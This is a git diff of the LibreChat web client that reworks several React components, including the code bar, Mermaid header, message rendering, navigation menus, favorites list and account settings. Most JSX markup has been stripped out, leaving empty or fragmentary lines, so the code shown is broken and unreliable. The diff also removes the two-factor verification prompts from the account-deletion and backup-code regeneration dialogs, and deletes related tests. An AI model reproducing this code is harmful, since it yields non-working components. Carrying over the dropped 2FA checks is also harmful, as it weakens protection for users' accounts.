- setTimeout(() => {
- const focusedElement = document.activeElement as HTMLElement | null;
- setIsCopied(false);
- requestAnimationFrame(() => {
- focusedElement?.focus();
- });
- }, 3000);
- }
- }, [codeRef]);
-
- return (
-
- {plugin === true ? (
-
- ) : (
- <>
- {allowExecution === true && (
-
- )}
-
- {isCopied ? (
-
- ) : (
-
- )}
-
- }
- />
- >
- )}
-
- );
-});
-FloatingCodeBar.displayName = 'FloatingCodeBar';
+ return (
+
+ {plugin === true ? (
+
+ ) : (
+ <>
+ {allowExecution === true && (
+
+ )}
+
+ {isCopied ? (
+
+ ) : (
+
+ )}
+
+ }
+ />
+ >
+ )}
+
+ );
+ },
+);
const CodeBlock: React.FC = ({
lang,
diff --git a/client/src/components/Messages/Content/Error.tsx b/client/src/components/Messages/Content/Error.tsx
index b464ce2f2a..469e29fe32 100644
--- a/client/src/components/Messages/Content/Error.tsx
+++ b/client/src/components/Messages/Content/Error.tsx
@@ -41,7 +41,6 @@ const errorMessages = {
[ErrorTypes.NO_USER_KEY]: 'com_error_no_user_key',
[ErrorTypes.INVALID_USER_KEY]: 'com_error_invalid_user_key',
[ErrorTypes.NO_BASE_URL]: 'com_error_no_base_url',
- [ErrorTypes.INVALID_BASE_URL]: 'com_error_invalid_base_url',
[ErrorTypes.INVALID_ACTION]: `com_error_${ErrorTypes.INVALID_ACTION}`,
[ErrorTypes.INVALID_REQUEST]: `com_error_${ErrorTypes.INVALID_REQUEST}`,
[ErrorTypes.REFUSAL]: 'com_error_refusal',
@@ -75,7 +74,6 @@ const errorMessages = {
return info;
},
[ErrorTypes.GOOGLE_TOOL_CONFLICT]: 'com_error_google_tool_conflict',
- [ErrorTypes.STREAM_EXPIRED]: 'com_error_stream_expired',
[ViolationTypes.BAN]:
'Your account has been temporarily banned due to violations of our service.',
[ViolationTypes.ILLEGAL_MODEL_REQUEST]: (json: TGenericError, localize: LocalizeFunction) => {
diff --git a/client/src/components/Messages/Content/Mermaid.tsx b/client/src/components/Messages/Content/Mermaid.tsx
index 03037f4427..9d830b3fdc 100644
--- a/client/src/components/Messages/Content/Mermaid.tsx
+++ b/client/src/components/Messages/Content/Mermaid.tsx
@@ -12,7 +12,6 @@ import {
OGDialogContent,
} from '@librechat/client';
import { useLocalize, useDebouncedMermaid } from '~/hooks';
-import { fixSubgraphTitleContrast } from '~/utils/mermaid';
import MermaidHeader from './MermaidHeader';
import cn from '~/utils/cn';
@@ -182,8 +181,6 @@ const Mermaid: React.FC = memo(({ children, id, theme }) => {
svgElement.setAttribute('xmlns', 'http://www.w3.org/2000/svg');
}
- fixSubgraphTitleContrast(svgElement);
-
return {
processedSvg: new XMLSerializer().serializeToString(doc),
parsedDimensions: dimensions,
@@ -675,7 +672,7 @@ const Mermaid: React.FC = memo(({ children, id, theme }) => {
className={cn(
'relative overflow-hidden p-4 transition-colors duration-200',
'rounded-md',
- showControls ? 'bg-surface-primary-alt dark:bg-white/[0.03]' : 'bg-transparent',
+ showControls ? 'bg-surface-primary-alt' : 'bg-transparent',
isPanning ? 'cursor-grabbing' : 'cursor-grab',
)}
style={{ height: `${calculatedHeight}px` }}
@@ -814,7 +811,7 @@ const Mermaid: React.FC = memo(({ children, id, theme }) => {
className={cn(
'relative overflow-hidden p-4 transition-colors duration-200',
'rounded-md',
- showControls ? 'bg-surface-primary-alt dark:bg-white/[0.03]' : 'bg-transparent',
+ showControls ? 'bg-surface-primary-alt' : 'bg-transparent',
isPanning ? 'cursor-grabbing' : 'cursor-grab',
)}
style={{ height: `${calculatedHeight}px` }}
diff --git a/client/src/components/Messages/Content/MermaidHeader.tsx b/client/src/components/Messages/Content/MermaidHeader.tsx
index 2d3a416a5a..03b49b6558 100644
--- a/client/src/components/Messages/Content/MermaidHeader.tsx
+++ b/client/src/components/Messages/Content/MermaidHeader.tsx
@@ -1,7 +1,7 @@
import React, { memo, useState, useCallback, useRef } from 'react';
import copy from 'copy-to-clipboard';
import { Expand, ChevronUp, ChevronDown } from 'lucide-react';
-import { Clipboard, CheckMark, TooltipAnchor } from '@librechat/client';
+import { Button, Clipboard, CheckMark } from '@librechat/client';
import { useLocalize } from '~/hooks';
import cn from '~/utils/cn';
@@ -15,8 +15,8 @@ interface MermaidHeaderProps {
onToggleCode: () => void;
}
-const iconBtnClass =
- 'flex items-center justify-center rounded p-1.5 text-text-secondary hover:bg-surface-hover focus-visible:outline focus-visible:outline-white';
+const buttonClasses =
+ 'h-auto gap-1 rounded-sm px-1 py-0 text-xs text-gray-200 hover:bg-gray-600 hover:text-white focus-visible:ring-white focus-visible:ring-offset-0';
const MermaidHeader: React.FC = memo(
({
@@ -49,58 +49,46 @@ const MermaidHeader: React.FC = memo(
return (
- {showExpandButton && onExpand && (
-
-
-
- }
- />
- )}
- {localize('com_ui_mermaid')}
+
+ {showExpandButton && onExpand && (
+
- {showCode ? : }
-
- }
- />
-
- {isCopied ? (
-
- ) : (
-
- )}
-
- }
- />
+
+ {localize('com_ui_expand')}
+
+ )}
+
+ {showCode ? : }
+ {showCode ? localize('com_ui_hide_code') : localize('com_ui_show_code')}
+
+
+ {isCopied ? : }
+ {localize('com_ui_copy_code')}
+
+
);
},
diff --git a/client/src/components/Messages/ContentRender.tsx b/client/src/components/Messages/ContentRender.tsx
index 6b3f05ce5d..5724ff77c2 100644
--- a/client/src/components/Messages/ContentRender.tsx
+++ b/client/src/components/Messages/ContentRender.tsx
@@ -4,13 +4,13 @@ import { useRecoilValue } from 'recoil';
import type { TMessage, TMessageContentParts } from 'librechat-data-provider';
import type { TMessageProps, TMessageIcon } from '~/common';
import { useAttachments, useLocalize, useMessageActions, useContentMetadata } from '~/hooks';
-import { cn, getHeaderPrefixForScreenReader, getMessageAriaLabel } from '~/utils';
import ContentParts from '~/components/Chat/Messages/Content/ContentParts';
import PlaceholderRow from '~/components/Chat/Messages/ui/PlaceholderRow';
import SiblingSwitch from '~/components/Chat/Messages/SiblingSwitch';
import HoverButtons from '~/components/Chat/Messages/HoverButtons';
import MessageIcon from '~/components/Chat/Messages/MessageIcon';
import SubRow from '~/components/Chat/Messages/SubRow';
+import { cn, getMessageAriaLabel } from '~/utils';
import { fontSizeAtom } from '~/store/fontSize';
import store from '~/store';
@@ -22,178 +22,176 @@ type ContentRenderProps = {
'currentEditId' | 'setCurrentEditId' | 'siblingIdx' | 'setSiblingIdx' | 'siblingCount'
>;
-const ContentRender = memo(function ContentRender({
- message: msg,
- siblingIdx,
- siblingCount,
- setSiblingIdx,
- currentEditId,
- setCurrentEditId,
- isSubmitting = false,
-}: ContentRenderProps) {
- const localize = useLocalize();
- const { attachments, searchResults } = useAttachments({
- messageId: msg?.messageId,
- attachments: msg?.attachments,
- });
- const {
- edit,
- index,
- agent,
- assistant,
- enterEdit,
- conversation,
- messageLabel,
- handleContinue,
- handleFeedback,
- latestMessageId,
- copyToClipboard,
- regenerateMessage,
- latestMessageDepth,
- } = useMessageActions({
+const ContentRender = memo(
+ ({
message: msg,
- searchResults,
+ siblingIdx,
+ siblingCount,
+ setSiblingIdx,
currentEditId,
setCurrentEditId,
- });
- const fontSize = useAtomValue(fontSizeAtom);
- const maximizeChatSpace = useRecoilValue(store.maximizeChatSpace);
-
- const handleRegenerateMessage = useCallback(() => regenerateMessage(), [regenerateMessage]);
- const isLast = useMemo(
- () => !(msg?.children?.length ?? 0) && (msg?.depth === latestMessageDepth || msg?.depth === -1),
- [msg?.children, msg?.depth, latestMessageDepth],
- );
- const hasNoChildren = !(msg?.children?.length ?? 0);
- const isLatestMessage = msg?.messageId === latestMessageId;
- /** Only pass isSubmitting to the latest message to prevent unnecessary re-renders */
- const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false;
-
- const iconData: TMessageIcon = useMemo(
- () => ({
- endpoint: msg?.endpoint ?? conversation?.endpoint,
- model: msg?.model ?? conversation?.model,
- iconURL: msg?.iconURL,
- modelLabel: messageLabel,
- isCreatedByUser: msg?.isCreatedByUser,
- }),
- [
+ isSubmitting = false,
+ }: ContentRenderProps) => {
+ const localize = useLocalize();
+ const { attachments, searchResults } = useAttachments({
+ messageId: msg?.messageId,
+ attachments: msg?.attachments,
+ });
+ const {
+ edit,
+ index,
+ agent,
+ assistant,
+ enterEdit,
+ conversation,
messageLabel,
- conversation?.endpoint,
- conversation?.model,
- msg?.model,
- msg?.iconURL,
- msg?.endpoint,
- msg?.isCreatedByUser,
- ],
- );
+ latestMessage,
+ handleContinue,
+ handleFeedback,
+ copyToClipboard,
+ regenerateMessage,
+ } = useMessageActions({
+ message: msg,
+ searchResults,
+ currentEditId,
+ setCurrentEditId,
+ });
+ const fontSize = useAtomValue(fontSizeAtom);
+ const maximizeChatSpace = useRecoilValue(store.maximizeChatSpace);
- const { hasParallelContent } = useContentMetadata(msg);
+ const handleRegenerateMessage = useCallback(() => regenerateMessage(), [regenerateMessage]);
+ const isLast = useMemo(
+ () =>
+ !(msg?.children?.length ?? 0) && (msg?.depth === latestMessage?.depth || msg?.depth === -1),
+ [msg?.children, msg?.depth, latestMessage?.depth],
+ );
+ const hasNoChildren = !(msg?.children?.length ?? 0);
+ const isLatestMessage = msg?.messageId === latestMessage?.messageId;
+ /** Only pass isSubmitting to the latest message to prevent unnecessary re-renders */
+ const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false;
- if (!msg) {
- return null;
- }
+ const iconData: TMessageIcon = useMemo(
+ () => ({
+ endpoint: msg?.endpoint ?? conversation?.endpoint,
+ model: msg?.model ?? conversation?.model,
+ iconURL: msg?.iconURL,
+ modelLabel: messageLabel,
+ isCreatedByUser: msg?.isCreatedByUser,
+ }),
+ [
+ messageLabel,
+ conversation?.endpoint,
+ conversation?.model,
+ msg?.model,
+ msg?.iconURL,
+ msg?.endpoint,
+ msg?.isCreatedByUser,
+ ],
+ );
- const getChatWidthClass = () => {
- if (maximizeChatSpace) {
- return 'w-full max-w-full md:px-5 lg:px-1 xl:px-5';
+ const { hasParallelContent } = useContentMetadata(msg);
+
+ if (!msg) {
+ return null;
}
- if (hasParallelContent) {
- return 'md:max-w-[58rem] xl:max-w-[70rem]';
- }
- return 'md:max-w-[47rem] xl:max-w-[55rem]';
- };
- const baseClasses = {
- common: 'group mx-auto flex flex-1 gap-3 transition-all duration-300 transform-gpu ',
- chat: getChatWidthClass(),
- };
+ const getChatWidthClass = () => {
+ if (maximizeChatSpace) {
+ return 'w-full max-w-full md:px-5 lg:px-1 xl:px-5';
+ }
+ if (hasParallelContent) {
+ return 'md:max-w-[58rem] xl:max-w-[70rem]';
+ }
+ return 'md:max-w-[47rem] xl:max-w-[55rem]';
+ };
- const conditionalClasses = {
- focus: 'focus:outline-none focus:ring-2 focus:ring-border-xheavy',
- };
+ const baseClasses = {
+ common: 'group mx-auto flex flex-1 gap-3 transition-all duration-300 transform-gpu ',
+ chat: getChatWidthClass(),
+ };
- return (
-
- {!hasParallelContent && (
-
- )}
+ const conditionalClasses = {
+ focus: 'focus:outline-none focus:ring-2 focus:ring-border-xheavy',
+ };
+ return (
{!hasParallelContent && (
-
- {getHeaderPrefixForScreenReader(msg, localize)}
- {messageLabel}
-
+
)}
-
-
- }
- />
-
- {hasNoChildren && effectiveIsSubmitting ? (
-
- ) : (
-
-
-
-
+
+ {!hasParallelContent && (
+
{messageLabel}
+ )}
+
+
+
+ }
+ />
+
+ {hasNoChildren && effectiveIsSubmitting ? (
+
+ ) : (
+
+
+
+
+ )}
+
-
- );
-});
-ContentRender.displayName = 'ContentRender';
+ );
+ },
+);
export default ContentRender;
diff --git a/client/src/components/Messages/MessageContent.tsx b/client/src/components/Messages/MessageContent.tsx
index 0e53b1c840..68fe2d8629 100644
--- a/client/src/components/Messages/MessageContent.tsx
+++ b/client/src/components/Messages/MessageContent.tsx
@@ -5,23 +5,25 @@ import type { TMessageProps } from '~/common';
import MultiMessage from '~/components/Chat/Messages/MultiMessage';
import ContentRender from './ContentRender';
-const MessageContainer = React.memo(function MessageContainer({
- handleScroll,
- children,
-}: {
- handleScroll: (event?: unknown) => void;
- children: React.ReactNode;
-}) {
- return (
-
- {children}
-
- );
-});
+const MessageContainer = React.memo(
+ ({
+ handleScroll,
+ children,
+ }: {
+ handleScroll: (event?: unknown) => void;
+ children: React.ReactNode;
+ }) => {
+ return (
+
+ {children}
+
+ );
+ },
+);
export default function MessageContent(props: TMessageProps) {
const { conversation, handleScroll, isSubmitting } = useMessageProcess({
diff --git a/client/src/components/Nav/AccountSettings.tsx b/client/src/components/Nav/AccountSettings.tsx
index cf80f89ca2..e3f97160eb 100644
--- a/client/src/components/Nav/AccountSettings.tsx
+++ b/client/src/components/Nav/AccountSettings.tsx
@@ -1,5 +1,5 @@
import { useState, memo, useRef } from 'react';
-import * as Menu from '@ariakit/react/menu';
+import * as Select from '@ariakit/react/select';
import { FileText, LogOut } from 'lucide-react';
import { LinkIcon, GearIcon, DropdownMenuSeparator, Avatar } from '@librechat/client';
import { MyFilesModal } from '~/components/Chat/Input/Files/MyFilesModal';
@@ -20,8 +20,8 @@ function AccountSettings() {
const accountSettingsButtonRef = useRef
(null);
return (
-
-
+
{user?.name ?? user?.username ?? localize('com_nav_user')}
-
-
+
>
)}
- setShowFiles(true)} className="select-item text-sm">
+ setShowFiles(true)}
+ className="select-item text-sm"
+ >
{localize('com_nav_my_files')}
-
+
{startupConfig?.helpAndFaqURL !== '/' && (
- window.open(startupConfig?.helpAndFaqURL, '_blank')}
className="select-item text-sm"
>
{localize('com_nav_help_faq')}
-
+
)}
- setShowSettings(true)} className="select-item text-sm">
+ setShowSettings(true)}
+ className="select-item text-sm"
+ >
{localize('com_nav_settings')}
-
+
- logout()} className="select-item text-sm">
+ logout()}
+ value="logout"
+ className="select-item text-sm"
+ >
{localize('com_nav_log_out')}
-
-
+
+
{showFiles && (
)}
{showSettings && }
-
+
);
}
diff --git a/client/src/components/Nav/Favorites/FavoriteItem.tsx b/client/src/components/Nav/Favorites/FavoriteItem.tsx
index 248008869d..173be27d00 100644
--- a/client/src/components/Nav/Favorites/FavoriteItem.tsx
+++ b/client/src/components/Nav/Favorites/FavoriteItem.tsx
@@ -126,8 +126,8 @@ export default function FavoriteItem({
className={cn(
'absolute right-2 flex items-center',
isPopoverActive
- ? 'pointer-events-auto opacity-100'
- : 'pointer-events-none opacity-0 group-focus-within:pointer-events-auto group-focus-within:opacity-100 group-hover:pointer-events-auto group-hover:opacity-100',
+ ? 'opacity-100'
+ : 'opacity-0 group-focus-within:opacity-100 group-hover:opacity-100',
)}
onClick={(e) => e.stopPropagation()}
>
diff --git a/client/src/components/Nav/Favorites/FavoritesList.tsx b/client/src/components/Nav/Favorites/FavoritesList.tsx
index 0ca23f8853..86fe4a793f 100644
--- a/client/src/components/Nav/Favorites/FavoritesList.tsx
+++ b/client/src/components/Nav/Favorites/FavoritesList.tsx
@@ -1,21 +1,15 @@
import React, { useRef, useCallback, useMemo, useEffect } from 'react';
+import { useRecoilValue } from 'recoil';
import { LayoutGrid } from 'lucide-react';
import { useDrag, useDrop } from 'react-dnd';
import { Skeleton } from '@librechat/client';
import { useNavigate } from 'react-router-dom';
import { useQueries } from '@tanstack/react-query';
-import { useRecoilValue } from 'recoil';
import { QueryKeys, dataService } from 'librechat-data-provider';
import type t from 'librechat-data-provider';
-import type { AgentQueryResult } from '~/common';
-import {
- useGetConversation,
- useShowMarketplace,
- useFavorites,
- useLocalize,
- useNewConvo,
-} from '~/hooks';
+import { useFavorites, useLocalize, useShowMarketplace, useNewConvo } from '~/hooks';
import { useAssistantsMapContext, useAgentsMapContext } from '~/Providers';
+import type { AgentQueryResult } from '~/common';
import useSelectMention from '~/hooks/Input/useSelectMention';
import { useGetEndpointsQuery } from '~/data-provider';
import FavoriteItem from './FavoriteItem';
@@ -128,20 +122,20 @@ export default function FavoritesList({
const navigate = useNavigate();
const localize = useLocalize();
const search = useRecoilValue(store.search);
- const getConversation = useGetConversation(0);
const { favorites, reorderFavorites, isLoading: isFavoritesLoading } = useFavorites();
const showAgentMarketplace = useShowMarketplace();
const { newConversation } = useNewConvo();
const assistantsMap = useAssistantsMapContext();
const agentsMap = useAgentsMapContext();
+ const conversation = useRecoilValue(store.conversationByIndex(0));
const { data: endpointsConfig = {} as t.TEndpointsConfig } = useGetEndpointsQuery();
const { onSelectEndpoint } = useSelectMention({
modelSpecs: [],
+ conversation,
assistantsMap,
endpointsConfig,
- getConversation,
newConversation,
returnHandlers: true,
});
@@ -198,8 +192,7 @@ export default function FavoritesList({
} catch (error) {
if (error && typeof error === 'object' && 'response' in error) {
const axiosError = error as { response?: { status?: number } };
- const status = axiosError.response?.status;
- if (status === 404 || status === 403) {
+ if (axiosError.response?.status === 404) {
return { found: false };
}
}
@@ -207,34 +200,10 @@ export default function FavoritesList({
}
},
staleTime: 1000 * 60 * 5,
+ enabled: missingAgentIds.length > 0,
})),
});
- const staleAgentIdsKey = useMemo(() => {
- const ids: string[] = [];
- for (let i = 0; i < missingAgentIds.length; i++) {
- const query = missingAgentQueries[i];
- if (query.data && !query.data.found) {
- ids.push(missingAgentIds[i]);
- }
- }
- return ids.sort().join(',');
- }, [missingAgentIds, missingAgentQueries]);
-
- const cleanupAttemptedRef = useRef('');
-
- useEffect(() => {
- if (!staleAgentIdsKey || cleanupAttemptedRef.current === staleAgentIdsKey) {
- return;
- }
- const staleSet = new Set(staleAgentIdsKey.split(','));
- const cleaned = safeFavorites.filter((f) => !f.agentId || !staleSet.has(f.agentId));
- if (cleaned.length < safeFavorites.length) {
- cleanupAttemptedRef.current = staleAgentIdsKey;
- reorderFavorites(cleaned, true);
- }
- }, [staleAgentIdsKey, safeFavorites, reorderFavorites]);
-
const combinedAgentsMap = useMemo(() => {
if (agentsMap === undefined) {
return undefined;
diff --git a/client/src/components/Nav/Favorites/tests/FavoritesList.spec.tsx b/client/src/components/Nav/Favorites/tests/FavoritesList.spec.tsx
index 74228dc169..8318b94698 100644
--- a/client/src/components/Nav/Favorites/tests/FavoritesList.spec.tsx
+++ b/client/src/components/Nav/Favorites/tests/FavoritesList.spec.tsx
@@ -56,7 +56,6 @@ jest.mock('~/hooks', () => ({
useLocalize: () => (key: string) => key,
useShowMarketplace: () => false,
useNewConvo: () => ({ newConversation: jest.fn() }),
- useGetConversation: () => () => null,
}));
jest.mock('~/Providers', () => ({
@@ -188,86 +187,5 @@ describe('FavoritesList', () => {
// No favorite items should be rendered (deleted agent is filtered out)
expect(queryAllByTestId('favorite-item')).toHaveLength(0);
});
-
- it('should treat 403 the same as 404 — agent not rendered', async () => {
- const validAgent: t.Agent = {
- id: 'valid-agent',
- name: 'Valid Agent',
- author: 'test-author',
- } as t.Agent;
-
- mockFavorites.push({ agentId: 'valid-agent' }, { agentId: 'revoked-agent' });
-
- (dataService.getAgentById as jest.Mock).mockImplementation(
- ({ agent_id }: { agent_id: string }) => {
- if (agent_id === 'valid-agent') {
- return Promise.resolve(validAgent);
- }
- if (agent_id === 'revoked-agent') {
- return Promise.reject({ response: { status: 403 } });
- }
- return Promise.reject(new Error('Unknown agent'));
- },
- );
-
- const { findAllByTestId } = renderWithProviders( );
-
- const favoriteItems = await findAllByTestId('favorite-item');
- expect(favoriteItems).toHaveLength(1);
- expect(favoriteItems[0]).toHaveTextContent('Valid Agent');
- });
-
- it('should call reorderFavorites to persist removal of stale agents', async () => {
- const mockReorderFavorites = jest.fn().mockResolvedValue(undefined);
- mockUseFavorites.mockReturnValue({
- favorites: [{ agentId: 'revoked-agent' }],
- reorderFavorites: mockReorderFavorites,
- isLoading: false,
- });
-
- (dataService.getAgentById as jest.Mock).mockRejectedValue({ response: { status: 403 } });
-
- renderWithProviders( );
-
- await waitFor(() => {
- expect(mockReorderFavorites).toHaveBeenCalledWith([], true);
- });
- });
-
- it('should only attempt cleanup once even when favorites revert to stale state', async () => {
- const mockReorderFavorites = jest.fn().mockResolvedValue(undefined);
-
- mockUseFavorites.mockReturnValue({
- favorites: [{ agentId: 'revoked-agent' }],
- reorderFavorites: mockReorderFavorites,
- isLoading: false,
- });
-
- (dataService.getAgentById as jest.Mock).mockRejectedValue({ response: { status: 403 } });
-
- const { rerender } = renderWithProviders( );
-
- await waitFor(() => {
- expect(mockReorderFavorites).toHaveBeenCalledWith([], true);
- });
-
- expect(mockReorderFavorites).toHaveBeenCalledTimes(1);
-
- rerender(
-
-
-
-
-
-
-
-
- ,
- );
-
- await new Promise((r) => setTimeout(r, 50));
-
- expect(mockReorderFavorites).toHaveBeenCalledTimes(1);
- });
});
});
diff --git a/client/src/components/Nav/Nav.tsx b/client/src/components/Nav/Nav.tsx
index cdee938663..74883b94f4 100644
--- a/client/src/components/Nav/Nav.tsx
+++ b/client/src/components/Nav/Nav.tsx
@@ -225,7 +225,6 @@ const Nav = memo(
aria-label={localize('com_ui_chat_history')}
className="flex h-full flex-col px-2 pb-3.5"
aria-hidden={!navVisible}
- {...{ inert: !navVisible ? '' : undefined }}
>
= useCallback(
+ const clickHandler: React.MouseEventHandler = useCallback(
(e) => {
- // Let browser handle modified/non-left clicks (new tab, context menu, etc.)
- if (e.button !== 0 || e.metaKey || e.ctrlKey || e.shiftKey || e.altKey) {
+ if (e.button === 0 && (e.ctrlKey || e.metaKey)) {
+ window.open('/c/new', '_blank');
return;
}
-
- e.preventDefault();
clearMessagesCache(queryClient, conversation?.conversationId);
queryClient.invalidateQueries([QueryKeys.messages]);
newConvo();
+ navigate('/c/new', { state: { focusChat: true } });
if (isSmallScreen) {
toggleNav();
}
},
- [queryClient, conversation, newConvo, toggleNav, isSmallScreen],
+ [queryClient, conversation, newConvo, navigate, toggleNav, isSmallScreen],
);
return (
@@ -84,16 +84,14 @@ export default function NewChat({
description={localize('com_ui_new_chat')}
render={
-
-
-
+
}
/>
diff --git a/client/src/components/Nav/SettingsTabs/Account/BackupCodesItem.tsx b/client/src/components/Nav/SettingsTabs/Account/BackupCodesItem.tsx
index e66cb7b08a..c89ce61fff 100644
--- a/client/src/components/Nav/SettingsTabs/Account/BackupCodesItem.tsx
+++ b/client/src/components/Nav/SettingsTabs/Account/BackupCodesItem.tsx
@@ -1,23 +1,12 @@
import React, { useState } from 'react';
import { RefreshCcw } from 'lucide-react';
-import { useSetRecoilState } from 'recoil';
import { motion, AnimatePresence } from 'framer-motion';
-import { REGEXP_ONLY_DIGITS, REGEXP_ONLY_DIGITS_AND_CHARS } from 'input-otp';
-import type {
- TRegenerateBackupCodesResponse,
- TRegenerateBackupCodesRequest,
- TBackupCode,
- TUser,
-} from 'librechat-data-provider';
+import { TBackupCode, TRegenerateBackupCodesResponse, type TUser } from 'librechat-data-provider';
import {
- InputOTPSeparator,
- InputOTPGroup,
- InputOTPSlot,
+ OGDialog,
OGDialogContent,
OGDialogTitle,
OGDialogTrigger,
- OGDialog,
- InputOTP,
Button,
Label,
Spinner,
@@ -26,6 +15,7 @@ import {
} from '@librechat/client';
import { useRegenerateBackupCodesMutation } from '~/data-provider';
import { useAuthContext, useLocalize } from '~/hooks';
+import { useSetRecoilState } from 'recoil';
import store from '~/store';
const BackupCodesItem: React.FC = () => {
@@ -34,30 +24,25 @@ const BackupCodesItem: React.FC = () => {
const { showToast } = useToastContext();
const setUser = useSetRecoilState(store.user);
const [isDialogOpen, setDialogOpen] = useState(false);
- const [otpToken, setOtpToken] = useState('');
- const [useBackup, setUseBackup] = useState(false);
const { mutate: regenerateBackupCodes, isLoading } = useRegenerateBackupCodesMutation();
- const needs2FA = !!user?.twoFactorEnabled;
-
const fetchBackupCodes = (auto: boolean = false) => {
- let payload: TRegenerateBackupCodesRequest | undefined;
- if (needs2FA && otpToken.trim()) {
- payload = useBackup ? { backupCode: otpToken.trim() } : { token: otpToken.trim() };
- }
-
- regenerateBackupCodes(payload, {
+ regenerateBackupCodes(undefined, {
onSuccess: (data: TRegenerateBackupCodesResponse) => {
- const newBackupCodes: TBackupCode[] = data.backupCodesHash;
+ const newBackupCodes: TBackupCode[] = data.backupCodesHash.map((codeHash) => ({
+ codeHash,
+ used: false,
+ usedAt: null,
+ }));
setUser((prev) => ({ ...prev, backupCodes: newBackupCodes }) as TUser);
- setOtpToken('');
showToast({
message: localize('com_ui_backup_codes_regenerated'),
status: 'success',
});
+ // Trigger file download only when user explicitly clicks the button.
if (!auto && newBackupCodes.length) {
const codesString = data.backupCodes.join('\n');
const blob = new Blob([codesString], { type: 'text/plain;charset=utf-8' });
@@ -81,8 +66,6 @@ const BackupCodesItem: React.FC = () => {
fetchBackupCodes(false);
};
- const otpReady = !needs2FA || otpToken.length === (useBackup ? 8 : 6);
-
return (
@@ -178,10 +161,10 @@ const BackupCodesItem: React.FC = () => {
);
})}
-
+
@@ -200,7 +183,7 @@ const BackupCodesItem: React.FC = () => {
@@ -209,59 +192,6 @@ const BackupCodesItem: React.FC = () => {
)}
- {needs2FA && (
-
-
- {localize('com_ui_2fa_verification_required')}
-
-
-
- {useBackup ? (
-
-
-
-
-
-
-
-
-
-
- ) : (
- <>
-
-
-
-
-
-
-
-
-
-
-
- >
- )}
-
-
-
{
- setUseBackup(!useBackup);
- setOtpToken('');
- }}
- className="text-sm text-primary hover:underline"
- >
- {useBackup ? localize('com_ui_use_2fa_code') : localize('com_ui_use_backup_code')}
-
-
- )}
diff --git a/client/src/components/Nav/SettingsTabs/Account/DeleteAccount.tsx b/client/src/components/Nav/SettingsTabs/Account/DeleteAccount.tsx
index d9c432c6a2..e879a0f2c6 100644
--- a/client/src/components/Nav/SettingsTabs/Account/DeleteAccount.tsx
+++ b/client/src/components/Nav/SettingsTabs/Account/DeleteAccount.tsx
@@ -1,22 +1,16 @@
-import React, { useState, useCallback } from 'react';
import { LockIcon, Trash } from 'lucide-react';
-import { REGEXP_ONLY_DIGITS, REGEXP_ONLY_DIGITS_AND_CHARS } from 'input-otp';
+import React, { useState, useCallback } from 'react';
import {
- InputOTPSeparator,
+ Label,
+ Input,
+ Button,
+ Spinner,
+ OGDialog,
OGDialogContent,
OGDialogTrigger,
OGDialogHeader,
- InputOTPGroup,
OGDialogTitle,
- InputOTPSlot,
- OGDialog,
- InputOTP,
- Spinner,
- Button,
- Label,
- Input,
} from '@librechat/client';
-import type { TDeleteUserRequest } from 'librechat-data-provider';
import { useDeleteUserMutation } from '~/data-provider';
import { useAuthContext } from '~/hooks/AuthContext';
import { LocalizeFunction } from '~/common';
@@ -27,27 +21,16 @@ const DeleteAccount = ({ disabled = false }: { title?: string; disabled?: boolea
const localize = useLocalize();
const { user, logout } = useAuthContext();
const { mutate: deleteUser, isLoading: isDeleting } = useDeleteUserMutation({
- onSuccess: () => logout(),
+ onMutate: () => logout(),
});
const [isDialogOpen, setDialogOpen] = useState(false);
const [isLocked, setIsLocked] = useState(true);
- const [otpToken, setOtpToken] = useState('');
- const [useBackup, setUseBackup] = useState(false);
-
- const needs2FA = !!user?.twoFactorEnabled;
const handleDeleteUser = () => {
- if (isLocked) {
- return;
+ if (!isLocked) {
+ deleteUser(undefined);
}
-
- let payload: TDeleteUserRequest | undefined;
- if (needs2FA && otpToken.trim()) {
- payload = useBackup ? { backupCode: otpToken.trim() } : { token: otpToken.trim() };
- }
-
- deleteUser(payload);
};
const handleInputChange = useCallback(
@@ -59,8 +42,6 @@ const DeleteAccount = ({ disabled = false }: { title?: string; disabled?: boolea
[user?.email],
);
- const otpReady = !needs2FA || otpToken.length === (useBackup ? 8 : 6);
-
return (
<>
@@ -98,60 +79,7 @@ const DeleteAccount = ({ disabled = false }: { title?: string; disabled?: boolea
(e) => handleInputChange(e.target.value),
)}
- {needs2FA && (
-
-
- {localize('com_ui_2fa_verification_required')}
-
-
-
- {useBackup ? (
-
-
-
-
-
-
-
-
-
-
- ) : (
- <>
-
-
-
-
-
-
-
-
-
-
-
- >
- )}
-
-
-
{
- setUseBackup(!useBackup);
- setOtpToken('');
- }}
- className="text-sm text-primary hover:underline"
- >
- {useBackup ? localize('com_ui_use_2fa_code') : localize('com_ui_use_backup_code')}
-
-
- )}
- {renderDeleteButton(handleDeleteUser, isDeleting, isLocked || !otpReady, localize)}
+ {renderDeleteButton(handleDeleteUser, isDeleting, isLocked, localize)}
diff --git a/client/src/components/Plugins/Store/PluginAuthForm.tsx b/client/src/components/Plugins/Store/PluginAuthForm.tsx
index d304b2eab7..5af1948c11 100644
--- a/client/src/components/Plugins/Store/PluginAuthForm.tsx
+++ b/client/src/components/Plugins/Store/PluginAuthForm.tsx
@@ -20,7 +20,6 @@ function PluginAuthForm({ plugin, onSubmit, isEntityTool }: TPluginAuthFormProps
const localize = useLocalize();
const authConfig = plugin?.authConfig ?? [];
- const allFieldsOptional = authConfig.length > 0 && authConfig.every((c) => c.optional === true);
return (
@@ -39,7 +38,6 @@ function PluginAuthForm({ plugin, onSubmit, isEntityTool }: TPluginAuthFormProps
>
{authConfig.map((config: TPluginAuthConfig, i: number) => {
const authField = config.authField.split('||')[0];
- const isOptional = config.optional === true;
return (
@@ -89,7 +82,7 @@ function PluginAuthForm({ plugin, onSubmit, isEntityTool }: TPluginAuthFormProps
);
})}
{
diff --git a/client/src/components/Share/Message.tsx b/client/src/components/Share/Message.tsx
index 8e2c7796e3..99d46954a8 100644
--- a/client/src/components/Share/Message.tsx
+++ b/client/src/components/Share/Message.tsx
@@ -69,7 +69,7 @@ export default function Message(props: TMessageProps) {
>
{messageLabel}
-
+
(-1);
return (
-
+
-
- {(_messagesTree && _messagesTree.length === 0) || _messagesTree === null ? (
+
+ {(_messagesTree && _messagesTree.length == 0) || _messagesTree === null ? (
{localize('com_ui_nothing_found')}
diff --git a/client/src/components/Share/ShareMessagesProvider.tsx b/client/src/components/Share/ShareMessagesProvider.tsx
index e614aa891a..e87591a082 100644
--- a/client/src/components/Share/ShareMessagesProvider.tsx
+++ b/client/src/components/Share/ShareMessagesProvider.tsx
